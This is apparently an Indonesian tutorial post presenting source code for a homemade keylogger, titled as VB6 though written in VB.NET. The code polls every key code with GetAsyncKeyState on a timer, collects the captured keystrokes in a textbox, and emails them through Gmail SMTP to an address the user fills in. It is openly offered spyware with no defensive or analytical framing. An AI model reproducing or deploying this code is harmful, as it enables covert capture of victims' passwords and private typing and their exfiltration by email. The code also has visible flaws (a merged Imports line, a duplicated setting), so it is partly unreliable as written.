Membuat Script Keylogger Buatan Sendiri dengan Vb6

Keylogger Send to Email Created By dzoee 
' Plase
'
'
Imports System.Web
Imports System.IOImports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function getasynckeystate Lib "user32" (ByVal vkey As Long) As Integer
    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = getasynckeystate(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub

    Private Sub Button1_click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1_click
        Dim mail As New MailMessage()
        Dim smtpserver As New SmtpClient
        smtpserver.Credentials = New Net.NetworkCredential("emailkamu@Domainkamu.com", "passemailmu")
        smtpserver.Port = 587
        smtpserver.Host = "smtp.gmail.com"
        smtpserver.EnableSsl = True
        smtpserver.EnableSsl = True
        mail.To.Add("eemailkamu@Domainkamu.com") 'edinofrikarizal@gmail.com bisa di ganti sesuai Email kamu
        mail.From = New MailAddress("emailkamu@Domainkamu.com")
        mail.Subject = "Judul hasil Pelaksanaan" 'Ini hasil kita bisa di ganti . ini menunjukkan Email subject yang akan dikirimkan
        mail.body = TextBox1.Text
        smtpserver.Send(mail)
    End Sub
End Class